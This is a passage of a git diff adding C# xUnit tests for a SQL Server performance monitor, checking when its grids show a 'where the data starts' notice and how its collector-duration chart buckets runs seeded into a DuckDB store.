+        await SeedLogRunsAsync("long_query_completions", added, end, 5);
+        await SeedLongQueriesEverySecondsAsync(end.AddMinutes(-2 - 5 * 149), end.AddMinutes(-2), 5 * 60);
+
+        var (visible, text, _, rows, probed) = await CappedLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(150, rows);
+        Assert.True(probed);
+        Assert.True(visible);
+        Assert.Equal(Since(added), text);
+    }
+
+    /// <summary>A range the store covers, read under the cap, shows no notice: the probing step answers the range's start.</summary>
+    [Fact]
+    public async Task LongQueries_ACoveredRangeUnderTheCap_ShowsNoNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("long_query_completions", end.AddDays(-30), end, 360);
+        await SeedLongQueriesEverySecondsAsync(end.AddHours(-5), end.AddHours(-4), 20 * 60);
+
+        var (visible, text, _, rows, probed) = await CappedLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.InRange(rows, 1, LocalDataService.LongQueryGridCap - 1);
+        Assert.True(probed);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A capped Long Queries read on a range of ONE HOUR whose oldest completion is later than the start shows its notice, at
+    /// that completion: a completion every 10 seconds fills the 200-row cap in about 33 minutes, so the grid starts about 25
+    /// minutes after the range does. The capped verdict gets no slack (the 90-minute slack is the coverage probe's, and
+    /// the probe is not asked).
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_AOneHourRange_WhoseGridHitsItsCap_ShowsTheNoticeAtItsOldestRow_WithNoSlack()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLongQueriesEverySecondsAsync(end.AddMinutes(-40), end.AddMinutes(-2), 10);
+
+        /* What the probe-only step said of this read: nothing, the first row is inside the slack. */
+        Assert.False((await BannerForAsync(QueryWindowRelation.LongQueryCompletions, end.AddHours(-1), end)).Visible);
+
+        var (visible, text, oldest, rows, probed) = await CappedLongQueriesBannerAsync(end.AddHours(-1), end);
+
+        Assert.Equal(LocalDataService.LongQueryGridCap, rows);
+        Assert.InRange((end - oldest).TotalMinutes, 34, 36);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>
+    /// A range of 90 minutes or less makes no probe call for Long Queries, which gets its coverage notice from the shared
+    /// probing step (<see cref="ServerTab.ProbeWindowFloorOrNullAsync"/>): such a window can never get one. A range past the
+    /// slack asks the probe once.
+    /// </summary>
+    [Theory]
+    [InlineData(60, 0)]
+    [InlineData(90, 0)]
+    [InlineData(91, 1)]
+    [InlineData(1440, 1)]
+    public async Task LongQueries_ARangeNoLongerThanTheSlack_MakesNoProbeCall(int rangeMinutes, int expectedProbeCalls)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("long_query_completions", end.AddDays(-2), end, 5);
+        var service = Service();
+        var start = end.AddMinutes(-rangeMinutes);
+        var probeCalls = 0;
+
+        var floor = await ServerTab.ProbeWindowFloorOrNullAsync(
+            () =>
+            {
+                probeCalls++;
+                return service.GetQueryWindowFloorAsync(QueryWindowRelation.LongQueryCompletions, ServerId, start, end, ServerClock.Utc);
+            },
+            "Long Queries", start, end);
+
+        Assert.Equal(expectedProbeCalls, probeCalls);
+        Assert.Equal(expectedProbeCalls == 0, floor is null);
+    }
+
+    /// <summary>
+    /// The Collection Log read fills its cap on a dense log (a run every minute for 12 hours is 720 rows, the cap 500), so
+    /// the notice names the oldest run the grid returned, over a range the store covers (an older run sits 20 days back,
+    /// so the probe alone shows nothing), and the probing step is not asked.
+    /// </summary>
+    [Fact]
+    public async Task CollectionLog_AReadThatFillsItsCap_NamesItsOldestRow_AlsoOverARangeTheStoreCovers()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("wait_stats", end.AddDays(-20), end.AddDays(-20), 1);
+        await SeedLogRunsAsync("wait_stats", end.AddHours(-12), end, 1);
+
+        Assert.False((await BannerForAsync(QueryWindowRelation.CollectionLog, end.AddDays(-7), end)).Visible);
+
+        var (visible, text, oldest, rows, probed) = await CappedCollectionLogBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(LocalDataService.CollectionLogGridCap, rows);
+        Assert.InRange((end - oldest).TotalMinutes, 498, 501);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>A Collection Log read under its cap keeps the coverage notice, worded at the first run in the range.</summary>
+    [Fact]
+    public async Task CollectionLog_AReadUnderItsCap_KeepsTheCoverageNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddHours(-3);
+        await SeedLogRunsAsync("wait_stats", added, end, 5);
+
+        var (visible, text, _, rows, probed) = await CappedCollectionLogBannerAsync(end.AddDays(-7), end);
+
+        Assert.InRange(rows, 1, LocalDataService.CollectionLogGridCap - 1);
+        Assert.True(probed);
+        Assert.True(visible);
+        Assert.Equal(Since(added), text);
+    }
+
+    /// <summary>
+    /// The other twelve banners (the eight system_health grids, Default Trace and the three Config Changes grids) read
+    /// their whole window: none of their reads carries a row cap, so the probe alone words their notice. A <c>LIMIT</c>
+    /// added to one of these reads would need the cap-aware step the Collection Log and Long Queries use, and fails here
+    /// until it has it.
+    /// </summary>
+    [Theory]
+    [InlineData("LocalDataService.SystemEvents.cs")]
+    [InlineData("LocalDataService.ConfigChanges.cs")]
+    public void TheUncappedSurfaces_ReadNoRowCap(string file)
+    {
+        var code = StripComments(File.ReadAllText(RepoFile("Lite", "Services", file)).Replace("\r\n", "\n"));
+
+        Assert.DoesNotMatch(@"\bLIMIT\b", code);
+        Assert.DoesNotMatch(@"\bTOP\s*\(?\s*\d", code);
+    }
+
+    /// <summary>
+    /// The surfaces that need no notice, and the shape that makes it true. The Health Summary reads a fixed seven
+    /// days per collector, with no range parameter, so a picked range never starts before its data. The Corruption Events
+    /// and Contention Events charts set their X axis to the asked range, so a span with no data is drawn as the empty
+    /// span it is. The Duration Trends chart needs none for its own reason (#4989): it reads its own full-range buckets
+    /// (<see cref="LocalDataService.GetCollectorDurationTrendAsync"/>, not the Collection Log grid's capped page) with its
+    /// X axis pinned to the asked range, so what it draws is the range's data and the empty span is the span with none; the
+    /// <c>DurationTrends_*</c> tests below pin that. If one of the others starts reading the toolbar's range as a grid, or
+    /// stops pinning its axis, it needs a notice and this test says so.
+    /// </summary>
+    [Fact]
+    public void SurfacesWithoutANotice_KeepTheShapeThatNeedsNone()
+    {
+        var health = File.ReadAllText(RepoFile("Lite", "Services", "LocalDataService.CollectionHealth.cs"));
+        Assert.Contains("public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync(int serverId, bool allowMemo = false, TimeSpan? memoLifetime = null, CancellationToken cancellationToken = default)", health, StringComparison.Ordinal);
+        Assert.Contains("GetCollectionHealthAsync(_serverId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(App.AutoRefreshIntervalSeconds), cancellationToken: ct)", File.ReadAllText(ControlsFile("ServerTab.Refresh.cs")), StringComparison.Ordinal);
+
+        /* The Duration Trends chart is no longer pinned here: it reads its own buckets over the whole range, and the tests
+           below (DurationTrends_*) say what it draws. */
+
+        var systemCharts = File.ReadAllText(ControlsFile("ServerTab.SystemHealthCharts.cs"));
+        Assert.Contains("ChartPalette.CyclingColor(3), xMin, xMax)", systemCharts, StringComparison.Ordinal);
+        Assert.Contains("RenderSickSpinlocksChart(SickSpinlocksChart, _sickSpinlocksHover, data, xMin, xMax)", systemCharts, StringComparison.Ordinal);
+        Assert.Contains("RenderCpuComparisonChart(CpuComparisonChart, _cpuComparisonHover, data, xMin, xMax)", systemCharts, StringComparison.Ordinal);
+        Assert.Equal(3, Regex.Matches(File.ReadAllText(RepoFile("PerformanceMonitor.Ui", "SystemHealthChartRenderer.cs")),
+            Regex.Escape("chart.Plot.Axes.SetLimitsX(xMin, xMax)")).Count);
+    }
+
+    /// <summary>What a chart draws, as (first X, last X) of each plotted line: the series drawn on a real chart.</summary>
+    private static List<(double First, double Last)> DrawnSpans(IReadOnlyList<ServerTab.CollectorDurationSeries> series) =>
+        StaTestThread.Run(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            ServerTab.PlotCollectorDurationSeries(chart, null, series);
+            return chart.Plot.PlottableList.OfType<ScottPlot.Plottables.Scatter>()
+                .Select(scatter => scatter.Data.GetScatterPoints().Select(p => p.X).ToList())
+                .Select(xs => (xs.Min(), xs.Max()))
+                .ToList();
+        });
+
+    /// <summary>
+    /// #4989: a 24-hour range holding more runs than the Collection Log grid's page (the newest 500) draws points across
+    /// the WHOLE range. The chart used to be handed that page, so at three runs a minute it drew the newest 2 hours 47
+    /// minutes of a day (and at twenty a minute, 25 minutes) and left the rest of its pinned axis empty though the store
+    /// held those runs. The first assertions say the page is the sliver it is; the rest, that each collector's line starts
+    /// at the range's start and ends at its end.
+    /// </summary>
+    [Fact]
+    public async Task DurationTrends_ADayHoldingMoreRunsThanTheGridsPage_DrawsPointsAcrossTheWholeRange()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var start = end.AddHours(-24);
+        foreach (var collector in new[] { "wait_stats", "cpu_utilization_stats", "memory_stats" })
+        {
+            await SeedLogRunsAsync(collector, start, end, 1);
+        }
+
+        var service = Service();
+        var page = await service.GetRecentCollectionLogAsync(ServerId, fromDate: start, toDate: end);
+        Assert.Equal(LocalDataService.CollectionLogGridCap, page.Count);
+        Assert.True(page.Max(r => r.CollectionTime) - page.Min(r => r.CollectionTime) < TimeSpan.FromHours(4),
+            "the grid's page is the newest runs only");
+
+        var spans = DrawnSpans(ServerTab.BuildCollectorDurationSeries(await service.GetCollectorDurationTrendAsync(ServerId, fromDate: start, toDate: end)));
+
+        Assert.Equal(3, spans.Count);
+        foreach (var (first, last) in spans)
+        {
+            Assert.True(first <= start.AddMinutes(2).ToOADate(), $"a line starts {DateTime.FromOADate(first):O}, after the range's start {start:O}");
+            Assert.True(last >= end.AddMinutes(-2).ToOADate(), $"a line ends {DateTime.FromOADate(last):O}, before the range's end {end:O}");
+        }
+    }
+
+    /// <summary>
+    /// #4989: the chart draws each bucket's slowest run, so one slow run still shows as it did when every run was a point,
+    /// and the hover says what stands behind the point: how many runs it is the slowest of and their average. A 7-day range
+    /// of one run a minute is bucketed (far fewer points than runs, and every run counted once), and the one 9-second run
+    /// in it is the height of its bucket's point.
+    /// </summary>
+    [Fact]
+    public async Task DurationTrends_ASevenDayRange_DrawsEachBucketsSlowestRun_AndNamesTheAverageAndCountInTheHover()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var start = end.AddDays(-7);
+        await SeedLogRunsAsync("wait_stats", start, end, 1);
+        {
+            var connection = await _seed.ConnectionAsync();
+            using var readLock = _duckDb.AcquireReadLock();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = $@"
+UPDATE collection_log SET duration_ms = 9000
+WHERE collector_name = 'wait_stats' AND collection_time = (SELECT MIN(collection_time) FROM collection_log WHERE collection_time >= {Literal(start.AddDays(3))})";
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        var buckets = await Service().GetCollectorDurationTrendAsync(ServerId, fromDate: start, toDate: end);
+
+        Assert.True(buckets.Count < 2000, $"{buckets.Count} points for 10,081 runs: the read buckets");
+        Assert.Equal(10081, buckets.Sum(b => b.RunCount));
+        Assert.True(buckets.All(b => b.BucketStart >= start.AddTicks(-10)), "no bucket starts before the range");
+        var slow = Assert.Single(buckets, b => b.MaxDurationMs == 9000);
+        Assert.True(slow.RunCount >= 2);
+        Assert.Equal((9000 + 12.0 * (slow.RunCount - 1)) / slow.RunCount, slow.AverageDurationMs, 6);
+
+        var series = Assert.Single(ServerTab.BuildCollectorDurationSeries(buckets));
+        var at = Array.IndexOf(series.MaxMs, 9000d);
+        Assert.True(at >= 0, "the slow run is a point's height");
+        var culture = System.Globalization.CultureInfo.CurrentCulture;
+        var average = slow.AverageDurationMs == Math.Floor(slow.AverageDurationMs) ? slow.AverageDurationMs.ToString("N0", culture) : slow.AverageDurationMs.ToString("N1", culture);
+        Assert.Equal($"Slowest of {slow.RunCount.ToString("N0", culture)} runs; average {average} ms", series.Details[at]);
+
+        Assert.Equal("wait_stats\n9,000 ms\n10:00:00\nSlowest of 10 runs; average 910.8 ms",
+            PerformanceMonitor.Ui.ChartHoverHelper.HoverText("wait_stats", "9,000", "ms", "10:00:00", "Slowest of 10 runs; average 910.8 ms"));
+        Assert.Equal("wait_stats\n9,000 ms\n10:00:00", PerformanceMonitor.Ui.ChartHoverHelper.HoverText("wait_stats", "9,000", "ms", "10:00:00"));
+    }
+
+    /// <summary>
+    /// #4989: the Refresh hands the chart its own read (<c>GetCollectorDurationTrendAsync</c>), started beside the grid's
+    /// read and awaited with it, and never the grid's page.
+    /// </summary>
+    [Fact]
+    public void DurationTrends_TheChartIsFedItsOwnRead_StartedBesideTheGridsRead()
+    {
+        var code = StripComments(File.ReadAllText(ControlsFile("ServerTab.Refresh.cs")).Replace("\r\n", "\n"));
+        var start = code.IndexOf("private async System.Threading.Tasks.Task RefreshCollectionHealthAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = code[start..code.IndexOf("internal static async Task<List<T>> SafeQueryAsync<T>", start, StringComparison.Ordinal)];
+
+        Assert.Contains("_dataService.GetCollectorDurationTrendAsync(_serverId, hoursBack, fromDate, toDate, cancellationToken: ct)", body, StringComparison.Ordinal);
+        Assert.Contains("Task.WhenAll(collectionHealthTask, collectionLogTask, collectorDurationTask)", body, StringComparison.Ordinal);
+        Assert.Contains("UpdateCollectorDurationChart(collectorDurationTask.Result, hoursBack, fromDate, toDate)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("UpdateCollectorDurationChart(collectionLogTask", body, StringComparison.Ordinal);
+    }
+
+    private async Task SeedLongQueryAsync(DateTime eventUtc, DateTime collectedUtc)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, statement_text, duration_microseconds)
+VALUES ({_nextId++}, {Literal(collectedUtc)}, {ServerId}, '{ServerName}', {Literal(eventUtc)}, 'rpc_completed', 'Db', 'SELECT 1', 5000000)";
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>The Long Queries notice for a read UNDER its cap: the real read, the real probe, then the tab's own rule for
+    /// the floor (<see cref="ServerTab.EarlierOfFloorAndRowShown"/> over <see cref="ServerTab.EarliestRowShown{T}"/>, the pair
+    /// <c>RefreshCappedGridBannerAsync</c> hands the shared step) and its banner step: (visible, text, rows shown).</summary>
+    private async Task<(bool Visible, string Text, int Rows)> UnderCapLongQueriesBannerAsync(DateTime startUtc, DateTime endUtc)
+    {
+        var service = Service();
+        var rows = await service.GetRecentLongQueryCompletionsAsync(ServerId, fromDate: startUtc, toDate: endUtc);
+        var probed = await service.GetQueryWindowFloorAsync(QueryWindowRelation.LongQueryCompletions, ServerId, startUtc, endUtc, ServerClock.Utc);
+        var floor = ServerTab.EarlierOfFloorAndRowShown(probed, ServerTab.EarliestRowShown(rows, ServerTab.LongQueryRowTimeUtc));
+        var (visible, text) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+        return (visible, text, rows.Count);
+    }
+
+    /// <summary>
+    /// #4989: a server's first run (T0, 48 hours ago) stores a completion from 8 minutes before itself (a first run reads
+    /// back <see cref="PerformanceMonitor.Collectors.CollectorContext.EventFallbackWindow"/>), and the grid shows it at its
+    /// event time. Under the cap, on a 7-day range, the notice names that completion's time, T0 less 8 minutes, and not the
+    /// run's T0.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_UnderTheCap_NameTheOldestCompletionShown_WhenItPredatesTheFirstRun()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var firstRun = new DateTime(end.AddHours(-48).Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
+        await SeedLogRunsAsync("long_query_completions", firstRun, end, 60);
+        await SeedLongQueryAsync(firstRun.AddMinutes(-8), firstRun);
+        await SeedLongQueryAsync(firstRun.AddHours(2), firstRun.AddHours(2).AddSeconds(CollectedAfterSeconds));
+
+        var (visible, text, rows) = await UnderCapLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.InRange(rows, 1, LocalDataService.LongQueryGridCap - 1);
+        Assert.True(visible);
+        Assert.Equal(Since(firstRun.AddMinutes(-8)), text);
+    }
+
+    /// <summary>
+    /// #4989: with no completion older than the first run, the notice still names the run, as before.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_UnderTheCap_StillNameTheFirstRun_WhenNoCompletionShownIsOlderThanIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var firstRun = new DateTime(end.AddHours(-48).Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
+        await SeedLogRunsAsync("long_query_completions", firstRun, end, 60);
+        await SeedLongQueryAsync(firstRun.AddMinutes(30), firstRun.AddMinutes(30).AddSeconds(CollectedAfterSeconds));
+
+        var (visible, text, _) = await UnderCapLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(Since(firstRun), text);
+    }
+
+    private static string StripComments(string lfSource) =>
+        Regex.Replace(Regex.Replace(lfSource, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\n]*", string.Empty);
+
+    private static string ControlsFile(string name) => RepoFile("Lite", "Controls", name);
+
+    private static string RepoFile(string folder, string subFolderOrFile, string? file = null, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", folder, subFolderOrFile, file ?? string.Empty));
+}
diff --git a/Lite.Tests/DataStartBannerTests.cs b/Lite.Tests/DataStartBannerTests.cs
new file mode 100644
index 0000000000..77cb302b93
--- /dev/null
+++ b/Lite.Tests/DataStartBannerTests.cs
@@ -0,0 +1,396 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The Lite twin of #4953's "where the data starts" notice: Active Queries (<c>query_snapshots</c>) and Current
+/// Waits (<c>waiting_tasks</c>) say where their stored rows start when a window or custom range reaches further
+/// back than the store holds (retention, the 3-month archive's first month, or a server added recently), through
+/// the ONE shared probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) and the ONE banner step
+/// (<see cref="ServerTab.ApplyWindowFloorToBanner"/>) the Queries grids already use. A server that holds a row
+/// before the window has had the window served whole (the probe answers the requested start), so a quiet start
+/// inside the window, with older rows in the store, raises no banner.
+/// </summary>
+[Collection("server-time-helper")]
+public sealed class DataStartBannerTests : IDisposable
+{
+    private const int ServerId = 4242;
+    private const string ServerName = "DataStartServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = 1;
+
+    public DataStartBannerTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "DataStartBanner_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private async Task SeedSnapshotAsync(DateTime at)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO query_snapshots
+    (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, cpu_time_ms, total_elapsed_time_ms)
+VALUES ($1, $2, $3, $4, 55, 'Db', 'SELECT 1', 'running', 10, 20)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedWaitingTaskAsync(DateTime at)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO waiting_tasks (collection_id, collection_time, server_id, server_name, session_id, wait_type, wait_duration_ms, blocking_session_id, database_name)
+VALUES ($1, $2, $3, $4, 55, 'LCK_M_X', 3000, 60, 'Db')";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes from
+    /// <paramref name="firstUtc"/> to <paramref name="lastUtc"/>, whether or not anything waited or ran.
+    /// </summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>The probe, then the banner step the surface runs on the result: (visible, text).</summary>
+    private async Task<(bool Visible, string Text)> BannerForAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc)
+    {
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /// <summary>
+    /// The relation list is a closed enum, so no view name ever comes from the caller. Each member must name a real
+    /// archive view (<c>v_</c> plus a table in the archivable set) whose time column is the one
+    /// <see cref="LocalDataService.QueryWindowRelationTimeColumn"/> names for it (<c>collection_time</c>; <c>capture_time</c>
+    /// on the three config snapshots; <c>event_time</c> on the two event tables, #4966, #4989; <c>sample_time</c> for Memory
+    /// Pressure Events, whose chart filters on it), with a <c>server_id</c> column, which is what the probe's SQL assumes.
+    /// The archive purges each table by that same column except for the two event tables and Memory Pressure Events: their
+    /// grids and chart filter on the event's own time (<c>event_time</c>, <c>sample_time</c>), which is the column the probe
+    /// measures, while the archive still purges them by <c>collection_time</c>, the time a run stored the row. The purge
+    /// column is pinned for those three as <c>collection_time</c>, and the view must carry both.
+    /// </summary>
+    [Fact]
+    public async Task EveryRelation_NamesARealArchiveView_WithServerIdAndItsProbeTimeColumn()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        foreach (var relation in Enum.GetValues<QueryWindowRelation>())
+        {
+            var view = LocalDataService.QueryWindowRelationView(relation);
+            var timeColumn = LocalDataService.QueryWindowRelationTimeColumn(relation);
+            Assert.Contains(timeColumn, new[] { "collection_time", "capture_time", "event_time", "deadlock_time", "sample_time" });
+            Assert.StartsWith("v_", view, StringComparison.Ordinal);
+            var table = view[2..];
+            var purgeColumn = relation is QueryWindowRelation.SystemHealthEvents or QueryWindowRelation.DefaultTraceEvents
+                or QueryWindowRelation.MemoryPressureEvents or QueryWindowRelation.BlockedProcessReports or QueryWindowRelation.Deadlocks
+                ? "collection_time"
+                : timeColumn;
+            Assert.Contains(table, DuckDbInitializer.ArchivableTables);
+            Assert.Contains(ArchiveService.ArchivableTables, t => t.Table == table && t.TimeColumn == purgeColumn);
+
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            using var readLock = _duckDb.AcquireReadLock();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = $"SELECT COUNT(*) FROM information_schema.columns WHERE table_name = '{view}' AND column_name IN ('server_id', '{timeColumn}', '{purgeColumn}')";
+            Assert.Equal(purgeColumn == timeColumn ? 2L : 3L, Convert.ToInt64(await cmd.ExecuteScalarAsync()));
+        }
+    }
+
+    /// <summary>A custom range that starts before the oldest stored snapshot gets the banner, worded at that oldest snapshot.</summary>
+    [Fact]
+    public async Task ActiveQueries_RangeStartsBeforeTheOldestStoredSnapshot_ShowsTheBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-2);
+        await SeedSnapshotAsync(oldest);
+        await SeedSnapshotAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.QuerySnapshots, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:"), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>Same for Current Waits (<c>waiting_tasks</c>), which holds a row only while something waits.</summary>
+    [Fact]
+    public async Task CurrentWaits_RangeStartsBeforeTheOldestStoredRow_ShowsTheBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedWaitingTaskAsync(end.AddDays(-2));
+        await SeedWaitingTaskAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.WaitingTasks, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+    }
+
+    /// <summary>A window the stored snapshots fully cover (rows reach back past its start) shows no banner.</summary>
+    [Fact]
+    public async Task ActiveQueries_WindowInsideTheStoredRows_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        for (var day = 10; day >= 0; day--)
+        {
+            await SeedSnapshotAsync(end.AddDays(-day).AddMinutes(-5));
+        }
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.QuerySnapshots, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// The quiet-start guard on the sparse table: one old wait row, then nothing until two hours ago. The window's
+    /// own oldest row sits far past its start while the store holds older rows, so nothing is missing and there is no banner.
+    /// </summary>
+    [Fact]
+    public async Task CurrentWaits_QuietStartInsideTheWindow_WithOlderRowsBeforeIt_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedWaitingTaskAsync(end.AddDays(-27));
+        await SeedWaitingTaskAsync(end.AddHours(-2));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.WaitingTasks, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A server monitored for months and idle overnight, whose older rows are gone: the 7-day window's first waiting
+    /// task comes 5 hours after its start and no older row exists. Its collector ran all along, so the window is
+    /// covered: no banner.
+    /// </summary>
+    [Fact]
+    public async Task CurrentWaits_IdleStart_WithNoOlderRow_OnAServerMonitoredForMonths_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("waiting_tasks", end.AddDays(-9), end, 30);
+        await SeedWaitingTaskAsync(end.AddDays(-7).AddHours(5));
+        await SeedWaitingTaskAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.WaitingTasks, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
